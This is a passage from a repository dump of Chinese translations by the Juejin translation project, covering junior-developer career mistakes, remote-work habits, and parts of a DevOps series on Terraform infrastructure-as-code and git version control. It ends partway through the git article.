[掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-avoid-these-7-mistakes-i-made-as-a-junior-developer.md",
    "content": "> * 原文地址：[How to avoid these 7 mistakes I made as a Junior Developer](https://medium.freecodecamp.org/how-to-avoid-these-7-mistakes-i-made-as-a-junior-developer-a7f26ce0f7ed)\n> * 原文作者：[Chris Blakely](https://medium.com/@chrisblakely01)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-avoid-these-7-mistakes-i-made-as-a-junior-developer.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-avoid-these-7-mistakes-i-made-as-a-junior-developer.md)\n> * 译者：[whatbeg](https://github.com/whatbeg)\n> * 校对者：[yinguangyao](https://github.com/yinguangyao), [renyuhuiharrison](https://github.com/renyuhuiharrison)\n\n# 如何避免我作为初级开发者时所犯下的 7 个错误\n\n![](https://cdn-images-1.medium.com/max/4000/0*c7djDqc-mTOweLhT.jpg)\n\n开发者职业生涯伊始你可能会觉得有点害怕。你将面临许多未知的挑战、要学习很多东西，还要做出很多艰难的抉择。有时我们可能会选错。这是很正常的，当我们面对这种情况时不要自责。\n\n我们应该从中吸取教训。在成为高级开发者的过程中，我犯过许多错误。本文讲述了当我还是初级开发者时犯过的 7 个严重错误，以及如何避免这些错误。\n\n## 承担第一份工作\n\n如果你一直在自学代码，或者即将结束学生生活，那么你的首要目标就是找到第一份工作。这是黑暗隧道尽头的一束光。\n\n但找工作并不容易。初级开发者越来越多。[你要写一份一击必中的简历](https://www.chrisblakely.dev/how-to-write-an-awesome-junior-developer-resume-in-a-few-simple-steps/)，并经过几轮面试，这个过程也可能会一直循环下去。\n\n抓住任何一个可以胜任的工作机会，对你来说很有吸引力。这点可以理解。\n\n但这种行为可能并不明智。无论是从学习还是享受工作的角度而言，我的第一份工作都远远谈不上理想。开发者抱着「呃，有态度就行」的想法，对待工作并不认真。这样就会产生一种责备文化，我常常为了满足紧迫的截止期限而被要求缩减内容。最糟糕的是我没能从这份工作中学会任何东西。\n\n我在面试中忽略了这些警告信号，因为得到工作机会蒙蔽了我的双眼。当我收到**报酬还不错**的 **offer** 时，我将我所有的担忧都抛到了脑后。\n\n真是大错特错。\n\n你的第一份工作非常重要。它让你体验到成为一名真正的开发者的感受，你从这份工作中获得的经验和指导也将为你之后的职业生涯奠定基础。这就是为什么在接受任何工作前，你都要对你的职位以及这家公司进行全面调查。你一定非常不想从中获得糟糕的经验或遇到糟糕的领导！\n\n所以，在申请或接受任何工作之前，你需要：\n\n### 调研这家公司\n\n在 [Glassdoor](https://www.glassdoor.co.uk/) 和互联网上搜索这家公司、登录他们的网站，找一些关于这家公司的评论。如果这家公司符合你的目标和需求，那将会给你吃一颗定心丸。\n\n### 询问你认识的人\n\n如果你的关系网中有人曾在这里工作，或者他认识这里的员工的话，你可以和他们聊聊。了解一下他们对这家公司的褒贬评价以及他们的经历。\n\n## 在面试中问恰当的问题\n\n面试是你了解一家公司的绝佳机会，面试前要确保你已经准备好要提的问题了。你可以问的事情包括：\n\n* 开发过程（他们用的是什么方法？他们有代码审核吗？他们的分支管理策略是什么样的？）\n\n* 测试相关的问题（他们用什么样的方法进行测试？他们有专门做测试的工程师吗？）\n\n* 公司文化（这家公司的氛围轻松吗？有什么针对初级开发者的支持吗？）。\n\n## 不选择一条路\n\n毫无疑问，成为成熟开发者的道路充满困惑。有很多可用的语言、框架和工具。我最开始犯的一个错误是**什么都想学**。有趣的是，我最后什么都没学好。\n\n一会学 Java，一会学 JQuery，一会学 C#，一会学 C++ ...\n\n我没有专注于一种语言，而是根据那天的心情在不同语言间跳跃。相信我，这绝对是一种非常低效的学习方式。\n\n如果我选择一条路或者一门技术，坚持下来，那我本能得到更好的结果，并晋升得更快。例如，如果你想在前端发展，那可以学习 JavaScript、CSS 和 HTML，还要选择一个框架。如果你想在后端发展，那就选一种语言并好好学。你不需要了解 Python、Java 和 C#！\n\n集中注意力、选择自己要走的路、制定计划，并成为你选择的领域的专家（[这张图](https://www.chrisblakely.dev/the-10-minute-road-map-to-becoming-a-junior-full-stack-web-developer/)可以帮助你制定计划）。\n\n## 写代码的时候太「花哨」\n\n假设你在准备一个项目，这个项目可能是给面试官看的，也可能是你找到第一份工作后的第一个项目。你想给别人留下深刻的印象。最好的方法是做什么呢？用你学过的极其花哨的编码技术来完成项目，对吗？\n\n错了。\n\n这是我犯过的一个重大错误，也是初级开发者常犯的错误。通常初级开发者会尝试重新造轮子，或者试图用一些复杂的解决方案来给人留下深刻印象。\n\n最好的方法是参照 K.I.S.S（“**越简单越好**”）原则写代码。让一切都尽可能简单，你就可以写出**可读性强、可维护性高的代码**，这会带来很多好处（在你之后继任的开发者会很欣赏这样的代码！）。\n\n## 生活比代码和工作更重要\n\n我早期还有一个坏习惯：没有学会在生活和工作中切换。我会在一天工作结束后还把电脑带回家，端坐好几个小时来解决**可以留到第二天的任务或漏洞**。不出所料，这样的习惯让我精疲力尽。\n\n我这样做的部分原因是我觉得要尽快完成所有的事情。但实际上，我本该意识到工作是一个持续的过程，它往往可以在下一个工作日再继续进行。重要的是要记得生命中还有别的需要关注的事情 —— 朋友、家庭以及兴趣爱好。当然，如果你想夜以继日地写代码，那当然可以！但如果不怎么享受这个过程，那你可以考虑停下来做一些其他事。\n\n明日何其多！\n\n## 不敢说「我不知道」\n\n在你要完成的问题或任务上遇到困难是很常见的，它会经常发生，即便你成为高级开发者也是如此。作初级开发者时我犯的错误是：我不愿意承认「我不知道」。如果管理者问了一个我不太清楚的问题，我会糊弄一个答案，而不是直接说**「我不知道」**。\n\n我觉得如果说「我不知道」，人们就会觉得**我不知道自己在做什么**。但事实并非如此。没有什么都知道的人。所以如果有人问了你不知道答案的问题，直说就好。这样做的好处是：\n\n* 你表现了你的坦诚，而且不会误导提问的人\n\n* 如果有人向你解释的话，你也会学到新的东西\n\n* 你直说自己不懂这个问题的话，会得到别人的尊重。不是每个人都敢承认自己的无知。\n\n## 试图进展太快\n\n我相信你一定听过「在学会跑之前你要先学会走」。没有什么领域比 web 开发更贴合这句话了。当你以初级开发者的身份获得第一份工作时，你会急于产出，马上着手处理大型编码任务。你甚至想到了如何快速晋升到下一级。\n\n虽然有雄心壮志是很好的事，但现实是很多事情不会立即发生在初级开发者身上。当你刚开启自己的职业生涯时，你可能要处理相对更小、更简单的任务和错误。这可能不是什么令人兴奋的工作，但却是必须经历的过程。这可以让你快速上手并熟悉这个开发流程。其次，这个过程可以让你的团队和你的上级更好地评估你作为团队一员的工作范围，以及你的技能在团队中处于什么样的位置。\n\n我当时犯的错误是对处理小任务感到沮丧，而且这种沮丧的感觉影响了我的工作。耐心点，尽你所能完成你要处理的每一个任务，激动人心的工作随后就来！\n\n## 没有加入任何社区，也没有建立任何关系网络\n\n开发社区很棒。社区中总有人愿意提供帮助、反馈，甚至是动力。成为开发者是很难的，有时候可能会付出一些代价。你加入社区越早，就越容易渡过初级开发者的艰难时期。\n\n参与也是一种很好的学习方式。你可以为开源项目做出贡献，看别人是怎么写代码的，还可以看到开发者是如何协作完成一个项目的。这些技能你都可以应用在日常工作中，而且从长远角度看，这会让你成为更好的开发者。\n\n找到并加入你感兴趣的社区 —— freeCodeCamp、CodeNewbies、100DaysOfCode 都不错！你还可以参加一些你所在城市的线下聚会。详情见 meetup.com。\n\n这也可以让你**建立关系网**。这个网络基本是由你所在行业认识的一群人组成的。为什么关系网很重要？假设你想跳槽，通过网络，别人可能会推荐特定的职位给你，甚至可能向一些公司推荐你。这让你在面试中有了坚实的优势，因为有人为你担保，这样你就不再只是「一叠简历中的一个名字」\n\n感谢阅读！\n\n***\n\n想获得初级开发者的最新指南和课程，可以加入 [www.chrisblakely.dev](https://www.chrisblakely.dev/#sign-up) 的邮件列表！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-be-a-good-remote-developer.md",
    "content": "> * 原文地址：[How to Be a Good Remote Developer](https://levelup.gitconnected.com/how-to-be-a-good-remote-developer-e399607d5532)\n> * 原文作者：[John Au-Yeung](https://medium.com/@hohanga)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-be-a-good-remote-developer.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-be-a-good-remote-developer.md)\n> * 译者：[Badd](https://juejin.im/user/5b0f6d4b6fb9a009e405dda1)\n> * 校对者：[zhanght9527](https://github.com/zhanght9527), [QinRoc](https://github.com/QinRoc)\n\n# 如何成为一名优秀的远程开发者\n\n![图片来自 [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral) 的 [Nicole Wolf](https://unsplash.com/@joeel56?utm_source=medium&utm_medium=referral)](https://cdn-images-1.medium.com/max/12000/0*gcJQWqRaHf8E66Bw)\n\n要成为一名优秀的远程办公人士，需要极强的自制力。我们需要在无人监督的环境中独自完成每一项工作。\n\n在本文中，我们将介绍一些可以帮我们成为优秀远程开发者的习惯。\n\n## 养成良好的会议礼仪\n\n良好的会议礼仪极其重要。由于我们只需要在屏幕前参加会议，不用进入真实的会议室，所以想要养成良好的会议礼仪，全凭自我约束。\n\n我们应该把每个人的图像都放在单独的窗口里。当我们参与讨论时，应保持脸部出现在视频画面里。\n\n同时，我们必须全神贯注，不能被身边琐事干扰。\n\n除非有其他紧急事情，否则的话，有这么几件事是我们应该做的。\n\n应该保持人在电脑旁，这样方便记笔记。\n\n另外，如果开启了摄像头，我们应该着装端正，这样就不会出现起身时内衣意外上镜的尴尬场面。\n\n## 尝试能让我们以最高效率产出的方式\n\n既然我们不仅仅是使用办公设备，更是生活在办公空间中，我们尽可以尝试不一样的家庭办公方式，看看哪些适合我们。\n\n除了内衣和其他非正式的着装，我们大可以让自己穿得舒服一些。\n\n我们还可以稍稍地调整作息时间，只要不错过会议就行。\n\n既然没人时刻监督和管理我们做什么，我们也可以根据日程调整当日的工作类型。\n\n我们可以听任何我们自己喜欢的音乐，可以坐在任何我们觉得更舒服的地方。\n\n另外，我们的午餐时间可以不固定。我们可以想什么时候吃就什么时候吃，太棒了。\n\n## 清晰的沟通\n\n由于我们无法和其他人当面沟通，所以当通过打字或者语音电话进行沟通时，我们无法通过他们的肢体语言来理解他们的意思。\n\n因此，我们应该确保把所有细节说清楚，以便于他人理解我们想传达的内容。\n\n时区和沟通媒介的差异让远程沟通难上加难。\n\n所以，为了帮他人降低理解难度，我们应该清晰地描述我们的想法并给出可执行的步骤。\n\n由于我们并不是坐在一起提出问题，会议记录的作用显得更加重要。\n\n没有真实的白板，我们就用白板软件。\n\n如果我们需要结对编程，我们应该开启语音通话并共享屏幕。\n\n另外，在网上，没人能感知我们的感受，所以我们应该把自己的感受清晰地传达出来。\n\n当我们需要帮助，我们需要多方求助，因为不是每个人都能为我们解答。\n\n还有，我们应该经常检查消息通知，以便及时回复他人。别人在等我们的回复呢，当我们急于寻求答复但周围没有人能响应时，我们就更能体会这一点的重要性。\n\n![图片来自 [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral) 的 [Annie Spratt](https://unsplash.com/@anniespratt?utm_source=medium&utm_medium=referral)](https://cdn-images-1.medium.com/max/15904/0*jlbf4_s4q88Oz-IR)\n\n## 划清工作和生活的边界\n\n如果我们在办公室时的作息时间是朝九晚五，那么在家办公时，也应该设置相近的时间点。\n\n我们不可能一天工作 24 小时而不感到疲惫。\n\n所以，我们应该设置些许边界来中止工作，就像从办公室里下班回家那样。\n\n当一天结束时，关闭工作消息通知，收起所有工作相关事物，好好休息吧。另外，我们应该像在办公室里那样，适时休息、劳逸结合。\n\n我们得四处走走、放空头脑。而且，午休也相当重要，所以也应该午休。\n\n## 总结\n\n即使我们是在远程办公，我们也应该像在办公室上班那样，建立工作和生活的边界。\n\n区别在于，我们要确保在工作时间内，更加频繁地查看消息通知，以便及时回复他人。\n\n另外，我们应该确保清晰地传达意图，让他人准确领会我们的想法。\n\n最后，我们要通过共享屏幕和视频会议软件来协同办公。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-2-configure.md",
    "content": "> * 原文地址：[How To Become a DevOps Engineer In Six Months or Less, Part 2: Configure](https://medium.com/@devfire/how-to-become-a-devops-engineer-in-six-months-or-less-part-2-configure-a2dfc11f6f7d)\n> * 原文作者：[Igor Kantor](https://medium.com/@devfire?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-2-configure.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-2-configure.md)\n> * 译者：[jianboy](https://github.com/jianboy)\n> * 校对者：[lihanxiang](https://github.com/lihanxiang)\n\n# 如何在六个月或更短的时间内成为 DevOps 工程师，第二部分：配置\n\n![](https://cdn-images-1.medium.com/max/1000/0*CqfqPJ0kz66ZHKtt)\n\n照片由 [Reto Simonet](https://unsplash.com/@reetoo?utm_source=medium&utm_medium=referral) 发布在 [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)\n\n**注意：这是《如何如何在六个月或更短的时间内成为 DevOps 工程师》系列的第二部分，第一部分请点击[这里](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less.md)。**\n\n让我们快速回顾一下上期内容。\n\n在第一部分中，我认为 DevOps 工程师的工作是构建全自动的数字流水线，将代码从开发环境转到生产环境。\n\n现在，要有效地完成这项工作需要对基本原理有充分的了解，请看下图所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*GNxucS4v93-XdnD5-vWB_w.png)\n\n<div style=\"text-align:center\">DevOps 基础介绍图</div>\n\n以及基于这些基础知识的工具和技能的良好理解（见下图）。\n\n提示：你的目标是先从左到右学习蓝色字体部分知识，然后从左到右学习紫色字体部分知识。\n\n好的，回到我们的主题。在本文中，我们将介绍上图学习路线的**第一个**阶段：配置。\n\n![](https://cdn-images-1.medium.com/max/1000/1*0S3C5EmK7p_iESafTNB4Ug.png)\n\n<div style=\"text-align:center\">配置阶段介绍图</div>\n\n配置阶段会发生什么？\n\n由于我们创建的代码需要运行在机器上，因此配置阶段实际上是在构建运行代码的基础结构。\n\n在过去，配置基础设施是一项漫长的、劳动密集型、容易出错的考验。\n\n现在，因为我们拥有令人敬畏的云服务，所以只需点击一下或者多点几下即可完成所有配置。 \n\n然而，实践证明通过点击来完成这些任务是一个坏主意。\n\n为什么这么说呢？\n\n因为按钮点击：\n\n1. 容易出错(人为犯错），\n2. 没有版本化管理(点击不能存储在 git 中），\n3. 不可重复(更多机器=更多点击），\n4. 并且不可测试(不知道我的点击是否真的有效或出错）。\n\n例如，想想在开发环境先配置所需的所有工作...然后是初始化环境...然后系统测试...然后进行分级...然后在美国部署生产环境...然后在欧盟部署生产环境...它很快就会变得非常乏味和烦人。\n\n因此，需要一种新的方式。这种新的方式是**架构即代码**，这就是这个配置阶段的全部内容。\n\n作为最佳实践，架构即代码要求无论需要哪些工作来配置计算资源，都必须通过代码完成。\n\n注意：“计算资源”是指在产品中正确运行应用程序所需的一切：计算、存储、网络、数据库等。因此，名称为“架构即代码”。\n\n此外，这意味着，我们将通过架构即代码部署而不是通过点击方式：\n\n1. 在 [Terraform](https://www.terraform.io/) 中写出所需的基础设施状态，\n2. 将其存储在我们的源代码控制中，\n3. 通过正式 [Pull Request](https://www.atlassian.com/git/tutorials/comparing-workflows/feature-branch-workflow) 流程征求反馈意见，\n4. 测试一下，\n5. 执行提供所需的所有容器资源。\n\n现在，显而易见的问题是，“为何选择 Terraform？为什么不使用 Chef 或 Puppet 或 Ansible 或 CFEngine 或 Salt 或 CloudFormation 或其他的？”\n\n好问题！\n\n简而言之，我认为你应该学习 Terraform 的原因如下：\n\n1. 这很新潮，因此工作机会很多\n2. 比其他人更容易学习\n3. 这是跨平台的\n\n现在，你能选择其中一个并成功吗？绝对能！\n\n* * *\n\n注意：这个领域正在迅速发展，非常混乱。我想用几分钟的时间来谈论一些最近的历史和我看到它的发展。像 Terraform 和 CloudFormation 之类的东西被用来提供基础设施，而像 Ansible 之类的东西被用来配置基础设施。\n\n一般，像 Terraform 和 CloudFormation 这样的东西已被用来提供**基础设施**，而像 Ansible 这样的东西则被用来配置**基础设施**。\n\n您可以将 Terraform 视为创建基础的工具，Ansible 将房子置于最顶层，然后根据您的需要部署应用程序（例如 Ansible）。\n\n![](https://cdn-images-1.medium.com/max/800/1*9kmJS9w9gNgqJMmmqb_NVg.png)\n\n<div style=\"text-align:center\">如何理解这些工具介绍图</div>\n\n换句话说，您使用 Terraform 创建 VM ，然后使用 Ansible 配置服务器，以及可能用它部署您的应用程序。\n\n通常将这些工具放在一起使用。\n\n但是， Ansible 可以做的（如果不是全部），Terraform 也可以做。反过来也是如此。\n\n不要让那些困扰你。只要知道 Terraform 是基础架构代码空间中最具好的工具之一，所以我强烈建议你从这里开始。\n\n事实上，Terraform + AWS 的专业知识是目前最炙手可热的技能之一！\n\n但是，如果你想推迟 Ansible 支持 Terraform，你仍然需要知道如何以编程方式批量配置服务器，对吧？\n\n不必要！\n\n* * *\n\n实际上，我预测像 Ansible 这样的**配置管理**工具的重要性将会降低，而像 Terraform 或 CloudFormation 这样的**基础配置**工具的重要性将会提高。\n\n为什么这样说呢？\n\n因为所谓的“[不可变部署](https://blog.codeship.com/immutable-infrastructure/)”。\n\n简而言之，就是指不改变已部署的基础架构的做法。换句话说，您的部署单元是 VM 或 Docker 容器，而不是一段代码。\n\n因此，您不会将代码部署到VM集群中，而是部署一整个已经编译了代码的 VM。\n\n您不会更改 VM 的配置方式，而是部署更改了配置的新 VM。\n\n您不会对生产环境机器打补丁，而是直接部署已经打补丁的新机器。\n\n您不在开发环境和生产环境部署的 VM 集群配置不同，它们都是相同的。\n\n你应该明白了我的意思。\n\n如果使用得当，这是一个非常强大的模式，我强烈推荐！\n\n注意：不可变部署要求将配置与您的代码分开。请阅读[12 Factor App](https://12factor.net/），其中详细介绍了这个(以及其他令人敬畏的想法！）。这是 DevOps 从业者必读的内容。\n\n代码与配置的分离非常重要 —— 您不希望每次修改数据库密码时都重新部署整个应用程序。相反，请确保应用程序可以从外部配置存储（SSM/Consul/etc）中提取它。\n\n此外，您可以很容易地看到，如果不可变部署的兴起，像 Ansible 这样的工具开始扮演的角色不那么突出。\n\n原因您只需要配置**一台**服务器并将其作为自动扩展的集群一部分进行多次部署。\n\n或者，如果您正在使用容器，您肯定希望几乎按要求进行不可变部署。你**不**希望你的开发容器与你的 QA 容器不同，并且与生产环境不同。\n或者，如果您正在使用容器，您肯定希望几乎按要求进行不可变部署。你**不**希望你的开发容器与你的 QA 容器不同，并且与生产环境不同。\n\n您希望**在所有环境中使用完全相同的容器**。这可以避免配置偏差，并在出现问题时简化回滚。\n\n除了容器之外，对于那些刚刚开始使用 Terraform 的人来说，使用 Terraform 配置 AWS 基础设施是一个教科书 DevOps 模式，你确实需要掌握它。\n\n但是等等...如果我需要查看日志来解决问题怎么办？好吧，您将不再登录计算机来查看日志，而是查看所有日志的集中式日志记录基础结构。\n\n事实上，一些聪明的家伙已经写了一篇关于如何在 AWS 中部署 ELK 集群的详细[文章](https://medium.com/@devfire/deploying-the-elk-stack-on-amazon-ecs-dd97d671df06) —— 如果你想看看它在实践中是如何完成的，请点击上面链接查看。\n\n此外，您可以完全禁用远程访问，这样比大多数没有禁用的人更安全！\n\n![](https://cdn-images-1.medium.com/max/800/0*nX3CGWxtkMFh5P5N.jpg)\n\n总而言之，我们的全自动 “DevOps” 之旅始于配置运行代码所需的计算资源 —— 配置阶段。而实现这一目标的最佳方法是通过不可变部署。\n\n最后，如果您对从何处开始感到好奇，Terraform + AWS 组合是您开始旅程的绝佳场所！\n\n这就是“配置”阶段的全部内容。\n\n第三部分的内容在[这里](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-3-version.md)！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的**本文永久链接**即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-3-version.md",
    "content": "> * 原文地址：[How To Become a DevOps Engineer In Six Months or Less, Part 3: Version](https://medium.com/@devfire/how-to-become-a-devops-engineer-in-six-months-or-less-part-3-version-76034885a7ab)\n> * 原文作者：[Igor Kantor](https://medium.com/@devfire?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-3-version.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-3-version.md)\n> * 译者：[jianboy](https://github.com/jianboy)\n> * 校对者：[lihanxiang](https://github.com/lihanxiang)\n\n# 如何在六个月或更短的时间内成为 DevOps 工程师，第三部分：版本控制\n\n![](https://cdn-images-1.medium.com/max/1000/0*WbA21p1XhfwT36Cx)\n\n“背光式笔记本的特写镜头”由 [Markus Petritz](https://unsplash.com/@petritzdesigns?utm_source=medium&utm_medium=referral) 发布在 [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)\n\n**注意：这是《如何如何在六个月或更短的时间内成为 DevOps 工程师》系列的第三部分，第一部分请点击[这里](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less.md)。第二部分点击[这里](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-2-configure.md)。**\n\n让我们快速回顾一下上期内容。\n\n简而言之，这一系列文章讲述了一个故事。\n\n而这个故事正在学习如何将想法转化为金钱，快速 —— 现代化 DevOps 开发的精髓。\n\n具体而言，在[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less.md)我们谈到了 DevOps 的文化和目标。\n\n在[第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-2-configure.md)，我们讨论了如何使用 Terraform 为未来的代码部署奠定基础。当然，Terraform 也是代码！\n\n因此，在这篇文章中，我们将讨论如何防止所有这些代码完全失控。剧透，这都是关于 [_git_](https://git-scm.com/)！\n\n额外奖励：我们还将讨论如何使用此 git business 来构建和推广您自己的个人品牌。\n\n作为参考，我们从这里开始：\n\n![](https://cdn-images-1.medium.com/max/1000/1*N-4zkp9GM6apxn3GMWcT0A.png)\n\nDevOps 之旅\n\n* * *\n\n那么，当我们谈论“版本控制”时，我们在说什么？\n\n想象一下，你正在开发一些软件。您正在不断更改它，根据需要添加或删除功能。 通常情况下，最新的变化将是一次“破坏性”的变化。 换句话说，无论你最后做了什么，都打乱之前的工作。\n\n怎么办？\n\n好。如果您在以前的学校，您可能倾向于将您的第一个文件命名为：\n\n```\nawesome_code.pl\n```\n\n然后你开始对文件做一些修改，你需要保留有用的东西，万一你必须恢复它。\n\n因此，您将文件重命名为：\n\n```\nawesome_code.12.25.2018.pl\n```\n\n这很好。直到有一天你每天进行多次更改，所以你最终会得到这样的结果：\n\n```\nawesome_code.GOOD.12.25.2018.pl\n```\n\n等等。\n\n当然，在专业环境中，您有多个团队在相同的代码库上进行协作，这进一步打破这种文档备份方案。\n\n毋庸置疑，上面这种文件重命名来版本管理肯定行不通。\n\n源代码控制：一种将文件保存在**集中**位置的方法，其中多个团队可以在公共代码库上一起工作。\n\n现在，这个想法并不新鲜。我能找到的最早提及的[文章](https://en.wikipedia.org/wiki/Source_Code_Control_System)可以追溯到 1972 年！因此，我们应该将代码集中在一个地方的想法肯定是老的。\n\n然而，相对较新的是**所有开发过程必须被版本化**的想法。\n\n什么意思呢？\n\n这就是说涉及生产环境的所有内容都必须存储在版本控制中，并受到跟踪、审核和记录历史更改。\n\n此外，强制执行“所有开发过程必须版本化”的原则实际上迫使您以“自动化第一”的思维方式处理问题。\n\n例如，当您决定在 Dev AWS 环境中只通过点击解决复杂问题时，您可以暂停并思考这么一个问题：“所有点击操作都受版本控制了吗？”\n\n当然，答案是“不”。因此，虽然可以通过 UI 进行快速原型查看是否有效，但这些努力必须是短暂的。从长远来看，请确保您使用 Terraform 或其他架构即代码工具来执行所有操作都受版本控制。\n\n好的，所以如果一切都受版本控制，那么我们如何存储和管理这些东西呢？\n\n答案是 git。\n\n在 [git](https://git-scm.com/doc) 出现之前，使用像 SVN 或其他的源代码控制系统是笨重的，不是用户友好的，并且通常是非常痛苦的经历。\n\ngit 的不同之处在于它包含**分布式**源代码控制的概念。\n\n换句话说，当您正在处理更改时，您不会将其他人锁定在集中式源代码存储库之外。相反，您正在编写代码库的完整**副本**。然后该副本会 _merged_ 进入 _master_ 存储库。\n\n请记住，以上是对 git 如何工作的粗略过度简化。但就本文而言，这已经足够了，即使知道 git 的内部工作方式既有价值又需要一段时间才能掌握。\n\n![](https://cdn-images-1.medium.com/max/800/0*hoGY4_63YI8B7Pbc.png)\n\n[https://xkcd.com/1597/](https://xkcd.com/1597/)\n\n现在，请记住，git **不是**像旧版的 SVN 一样。它是一个分布式源代码控制系统，多个团队可以安全，可靠地在共享代码库上工作。\n\n这对我们意味着什么？\n\n具体来说，如果没有使用 git 版本管理而自称作专业的 DevOps（云）工程师，我严重怀疑你的能力。就这么简单。\n\n好的，那么如何学习 git 呢？\n\n我必须说，Google 搜索 “git 教程”的区别在于它提供的教程非常全面但非常令人困惑。\n\n但是，有一些非常非常好。\n\n我推荐大家阅读，学习和练习的一系列教程是 [Atlassian’s Git Tutorials](https://www.atlassian.com/git/tutorials)。\n\n事实上，它们都非常好，但特别是世界各地的专业软件工程师使用的部分：[Git Workflows](https://www.atlassian.com/git/tutorials/comparing-workflows)。\n\n我再怎么强调也不为过。一次又一次地，缺乏理解 git 分支是如何工作的，或者没有解释 Gitflow 是什么让 99% 有抱负的 DevOps 工程师落选的原因。\n\n这是关键。你可以参加面试，即使不知道 Terraform 或者最新的架构及代码是什么，没关系 — 你可以在工作中学习它。\n\n不知道 git 及其工作方式表明你缺乏现代软件工程最佳实践的基础知识，DevOps 与否。这向招聘经理发出信号，表明你的学习曲线非常陡峭。你不想发出信号！\n\n相反，您自信地谈论 git 最佳实践的能力告诉招聘经理您首先要具备软件工程思维模式 —— 这正是您想要应用到工作中的思维。\n\n总而言之，你不需要成为世界上最重要的 git 专家，来获得令人敬畏的 DevOps 角色，但你确实需要在一段时间内生活和呼吸 